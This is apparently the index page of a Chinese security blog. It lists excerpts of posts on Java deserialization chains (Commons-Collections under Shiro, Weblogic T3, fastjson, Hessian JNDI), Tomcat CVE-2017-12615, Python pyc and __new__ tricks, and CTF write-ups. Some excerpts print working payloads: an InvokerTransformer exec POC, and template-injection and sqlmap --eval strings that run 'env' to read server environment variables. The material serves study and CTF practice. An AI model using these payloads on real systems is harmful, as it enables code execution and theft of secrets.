Commons-Collections中Closure和Predicate在Shiro下的利用

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 Closure和Predicate CC反序列化常见的打法有两种: 通过ChainedTransformer链式调用Runtime的exec方法。 直接调用TemplatesImpl加载字节码,这样不需要链式调用 ClosureTransformer类可以调用Closure,其transform方法代码如下: public Object transform(Object input) { iClosure.execute(input); return input; } 可以调用任意Closure类的execute方法。 IfClosure类的execute方法代码如下: public void execute(Object input) { if (iPredicate.evaluate(input) == true) { iTrueClosure.execute(input); } else { iFalseClosure.execute(input); } } 会调用任意Predicate类的evaluate方法,且参数可控。 TransformedPredicate是Predicate接口的一个实现类,其evaluate方法可以链式调用: public boolean evaluate(Object object) { Object result = iTransformer.transform(object); return iPredicate.evaluate(result); } 当前iTransformer的transform方法执行后会将结果作为参数传递给下一个Predicate。将多个TransformedPredicate串起来即可实现链式调用,可以替代ChainedTransformer 命令执行 在Shiro反序列化漏洞中,由于使用特殊的ClassResolvingObjectInputStream类来加载类,会有一些限制:如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。 常见的绕过方式为: 让InvokerTransformer直接调用TemplatesImpl的newTransformer方法,不使用Transformer数组,jdk高版本不能使用。 使用RMI二次反序列化,需要出网。 但使用Predicate不会受到数组限制,因为Predicate是通过一个个引用实现链式调用的。 执行Runtime#exec的POC: Predicate predicate4 = new TransformedPredicate( new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), null ); Predicate predicate3 = new TransformedPredicate( new InvokerTransformer("invoke", new Class[]{Object....

May 14, 2025 · 3 min

python中关于pyc文件的一个奇怪特性

前言 刷到siunam师傅的一篇文章:Python Dirty Arbitrary File Write to RCE via Writing Shared Object Files Or Overwriting Bytecode Files。讲的是关于python web服务器上上传文件导致RCE的方法。yiyi师傅还根据这个出了一道题目。 siunam师傅的文章主要是从PEP等文档角度分析的,找到了一种覆盖pyc文件导致RCE的方法。但我在代码审计的过程中发现了一种更方便的绕过方法。 pyc加载 关于pyc的加载逻辑在PEP-3147中, 情况 0:稳态 当要求 Python 导入模块 foo 时,它会搜索 foo.py 文件(或 foo 包,但这对本次讨论并不重要)的 sys.path。如果找到,Python 会查看是否有匹配的 __pycache__/foo.<magic>.pyc 文件,如果有,则加载该 pyc 文件。 <magic>根据python版本生成,比如python3.9的<magic>为cpython-39,python3.11的<magic>为cpython-311 情况 1:第一次导入 当 Python 找到 foo.py 时,如果 __pycache__/foo.<magic>.pyc 文件缺失,Python 将创建它,同时创建 __pycache__ 目录(如有必要)。Python 将对 foo.py 文件进行解析和字节编译,并将字节码保存在 __pycache__/foo.<magic>.pyc. 情况 2:第二次导入 当要求 Python 第二次导入模块 foo 时(当然是在不同的过程中),它将再次搜索 foo.py 文件 。 当 Python 找到 foo.py 文件时,它会查找匹配的 __pycache__/foo....

May 12, 2025 · 4 min

Tomcat中DefaultServlet漏洞复现

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 CVE-2017-12615 环境搭建 这里用Docker搭建环境。Dockerfile: FROM tomcat:8.5.19-alpine COPY context.xml web.xml /usr/local/tomcat/conf/ COPY debug.sh catalina.sh /usr/local/tomcat/bin/ WORKDIR /usr/local/tomcat/bin/ RUN chmod +x debug.sh && \ chmod +x catalina.sh CMD ["./debug.sh"] debug.sh代码如下: #!/bin/bash ./startup.sh sleep 1000000 覆盖catalina.sh,向文件开头加入以下代码,用于debug。 export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005' 在web.xml中配置DefaultServlet的开启: <servlet> <servlet-name>defalut</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>defalut</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping></web-app> 容器其中之后将lib目录下的文件复制出来导入IDEA即可: docker cp tomcat:/usr/local/tomcat/lib ./ docker run如果句柄不够需要加上以下参数: --ulimit nofile=65535:65535 漏洞分析 Tomcat爆出过多个关于DefaultServlet的漏洞。它是Tomcat中自带的一个Servlet,但默认不开启,位于/lib/catalina.jar!/org/apache/catalina/servlets/下。 DefaultServlet定义了doPut方法: protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this....

April 4, 2025 · 5 min

Shiro-550漏洞复现

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 基础知识 组件 Shiro有三大核心组件,即Subject、SecurityManager 和 Realm Subject: 认证主体。Subject代表了当前的用户。包含Principals和Credentials两个信息。 SecurityManager:安全管理员。是Shiro架构的核心。与Subject的所有交互都会委托给SecurityManager,它负责与Shiro 的其他组件进行交互。 Realm:域。Shiro从Realm中获取安全数据(如用户、角色、权限),就是说SecurityManager要验证用户身份,那么它需要从Realm中获取相应的用户进行比较,来确定用户的身份是否合法 一些概念: Authentication: 身份认证、登录,验证用户是不是拥有相应的身份; Authorization:鉴权,验证某个已认证的用户是否拥有某个权限 Session Manager: 会话管理 Cryptography: 加密,保护数据的安全性 Concurrency: Shiro支持多线程应用的并发验证,即,如在一个线程中开启另一个线程,能把权限自动的传播过去 Remember Me:会话保存 配置 web.xml,shiro通过filter进行注入。 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5"> <listener> <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class> </listener> <filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> shiro.ini用于配置具体权限 [main] shiro.loginUrl = /login.jsp [users] # format: username = password, role1, role2, ..., roleN root = secret,admin guest = guest,guest presidentskroob = 12345,president darkhelmet = ludicrousspeed,darklord,schwartz lonestarr = vespa,goodguy,schwartz [roles] # format: roleName = permission1, permission2, ....

March 26, 2025 · 6 min

CTF记录-NCTF_2024, 红明谷CTF_2025

NCTF 2024 WEB AK ez_dash 过滤不全,可以通过<%%>执行python代码,但没有回显,用继承链获取bottle报错回显。 https://www.osgeo.cn/bottle/stpl.html#embedded-python-code 使用getattr绕过.,bottle.abort(401, "message")函数可以直接报错返回内容。 <%eval(getattr(getattr(__import__('base64'), 'b64decode')('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5ib3R0bGUuYWJvcnQoNDAxLCBfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkp'), 'decode')())%> sqlmap-master 参数注入,sqlmap -hh查看详细信息: --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") sqlmap的eval可以执行python代码: sqlmap -u http://localhost --eval="print(1)" 通过__import__报错回显,注意payload不能包含空格,不然会被分割。 poc: http://localhost --eval=__import__(__import__('os').popen(__import__('base64').b64decode('ZW52IHwgYmFzZTY0IHwgdHIgLWQgJ1xuJw==').decode()).read()) ez_dash_revenge 远程环境pydash版本比较高,不允许覆盖__globals__和__builtin__, 黑名单检测代码pydash/helpers.py: RESTRICTED_KEYS内容为: RESTRICTED_KEYS = ("__globals__", "__builtins__") 覆盖黑名单POC: /setValue?name=pydash {"path":"helpers.RESTRICTED_KEYS","value":[]} 然后再通过__globals__覆盖题目自定义的黑名单,POC: /setValue?name=setval {"path":"__globals__.__forbidden_name__","value":[]} {"path":"__globals__.__forbidden_path__","value":[]} bottle模板引擎使用正则匹配模板字符串,set_syntax代码如下: def set_syntax(self, syntax): self._syntax = syntax self._tokens = syntax.split() if syntax not in self._re_cache: names = 'block_start block_close line_start inline_start inline_end' etokens = map(re....

March 23, 2025 · 6 min

CodeQL查找AliyunCTF JTools中hutool的二次反序列化链

数据库构建 feilong readme中关于安装的命令: git clone https://github.com/ifeilong/feilong.git --depth 1 mvn install 根据这个写出数据库构建语句,并加上一些跳过选项: codeql database create feilong-database --language="java" --command="mvn clean -DskipTests -Drat.skip=true package" hutool hutool安装要通过install.sh链接,内容如下: #!/bin/bash exec mvn -T 1C clean source:jar javadoc:javadoc install -Dmaven.test.skip=false -Dmaven.javadoc.skip=false 根据这个脚本内容写,把里面的Test和Doc都改成True,跳过Test和文档生成,节省时间。 codeql database create hutool-database --language="java" --command="mvn -T 1C clean source:jar javadoc:javadoc package -DskipTests -Drat.skip=true -Dmaven.javadoc.skip" feilong数据库大概5分钟就建好了,hutool可能需要十几分钟。 codeql不同版本可能有细微差异,要参照文档写:https://codeql.github.com/codeql-standard-libraries/java/ Getter java.beans包下有一些操作bean的类,其中java.beans.PropertyDescriptor#getReadMethod和java.beans.PropertyDescriptor#getWriteMethod用于获取相应Getter/Setter的Method对象。根据这个写出Sink点,查找能够调用Getter的gadget: predicate callGetterSinks(Method method) { exists(MethodAccess call | ( call.getCallee().getQualifiedName().matches("%getReadMethod%") ) and call.getCaller() = method ) } 对于反序列化来说还需要限制方法所在类实现了序列化接口或者是静态方法:...

February 26, 2025 · 5 min

Weblogic Server系列漏洞复现

环境配置 使用WeblogicEnvironment项目搭建,地址:WeblogicEnvironment Weblogic Server官网下载地址:https://www.oracle.com/hk/middleware/technologies/weblogic-server-downloads.html oracle删除了官网上所有的Weblogic Server 10.3.6.0.0的下载链接,只剩下了12.x和14.x的。不过我们可以通过url直接下载:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar docker build或者run的时候可能会内存不足,增加ulimit即可:--ulimit nofile=65535:65535 docker里的java版本最好和idea使用的版本一样,不然容易出现debug行号不一致的问题。 由于centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作,修改Dockerfile: RUN cd /etc/yum.repos.d/ RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* 从容器里复制出lib导入idea即可开始debug,端口以为8453: /u01/app/oracle/middleware/modules /u01/app/oracle/middleware/wlserver /u01/app/oracle/middleware/coherence_3.7/lib T3反序列化 CVE-2015-4852 Weblogic 10.3.6 JDK8u65 T3协议部分参考:http://drops.xmd5.com/static/drops/web-13470.html Weblogic Server 使用T3协议进行RMI通信,请求包格式如下: 第一部分为T3协议头,后面跟着7段java序列化数据,将其中任意一部分改为恶意序列化数据即可。 关于其中探测版本部分,我发现有时返回包会分到两个TCP数据包里发过来,所以脚本需要改一下: data = sock.recv(1024) if len(data) == 4: data = data + sock.recv(1024) 数据流先进入InboundMsgAbbrev#readObject方法: private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { int var2 = var1.read(); switch (var2) { case 0: return (new ServerChannelInputStream(var1))....

February 23, 2025 · 10 min

CTF记录-VNCTF_2025, AliyunCTF 2025

VNCTF 5道web解出了4道 javaGuide /deser路由可以反序列化,有spring boot和fastjson 1.2.83的依赖。 反序列化有黑名单: protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = {"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"}; int length = denyClasses.length; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } } return super.resolveClass(desc); } 可以用signedObject二次反序列化绕过 利用链: EventListenerList.readobject() -> JSONArray.toString() -> SignedObject.getObject() -> EventListenerList.readobject() -> JSONArray.toString() -> Templates.getOutputProperties() fastjson1.2.83使用引用绕过。 Templates templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()}); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","asd"); JSONArray jsonArray1 = new JSONArray(); jsonArray1....

February 9, 2025 · 9 min

JNDI注入HessianProxyFactory的一点思考

HessianProxy 浅蓝师傅在 探索高版本 JDK 下 JNDI 漏洞的利用方法 中提到过HessianProxyFactory这个工厂类。可以触发Hessian反序列化。 getObjectInstance代码如下: public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { Reference ref = (Reference) obj; String api = null; String url = null; for (int i = 0; i < ref.size(); i++) { RefAddr addr = ref.get(i); String type = addr.getType(); String value = (String) addr.getContent(); if (type.equals("type")) api = value; else if (type.equals("url")) url = value; ......... } ....

January 29, 2025 · 3 min

python中关于__new__的一个trick

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 前言 javascript可以通过Function的构造方法从字符串创建函数。在eval被过滤的情况下可以通过字符串创建函数来绕过: atob.constructor('console.log(1);')(); 最近在学习python沙箱逃逸,学习了python也能像js那样使用构造方法创建函数。本文用于记录一下学到的python中关于__new__有趣的玩法。才疏学浅,如有错误还请师傅们指正。 python object 以下分析中python版本为3.12.6,不同版本略有差异 下载源码:https://github.com/python/cpython/ 首先梳理一下python的对象。 python中所有的对象都是由PyObject结构体扩展而来。type感觉类似于java里的Class,负责定义对象的一些基本信息。参考:https://flaggo.github.io/python3-source-code-analysis/objects/object/ type(obj)可以返回对象的type,type中的__new__方法用于创建对象。详细可参考MetaClass:https://liaoxuefeng.com/books/python/oop-adv/meta-class/ __new__最终会调用到PyXXXObject_New api,创建一个对象 PyFunctionObject PyFunctionObject的__new__定义在:cpython/Objects/funcobject.c,有如下注释: /*[clinic input] @classmethod function.__new__ as func_new code: object(type="PyCodeObject *", subclass_of="&PyCode_Type") a code object globals: object(subclass_of="&PyDict_Type") the globals dictionary name: object = None a string that overrides the name from the code object argdefs as defaults: object = None a tuple that specifies the default argument values closure: object = None a tuple that supplies the bindings for free variables Create a function object....

December 6, 2024 · 5 min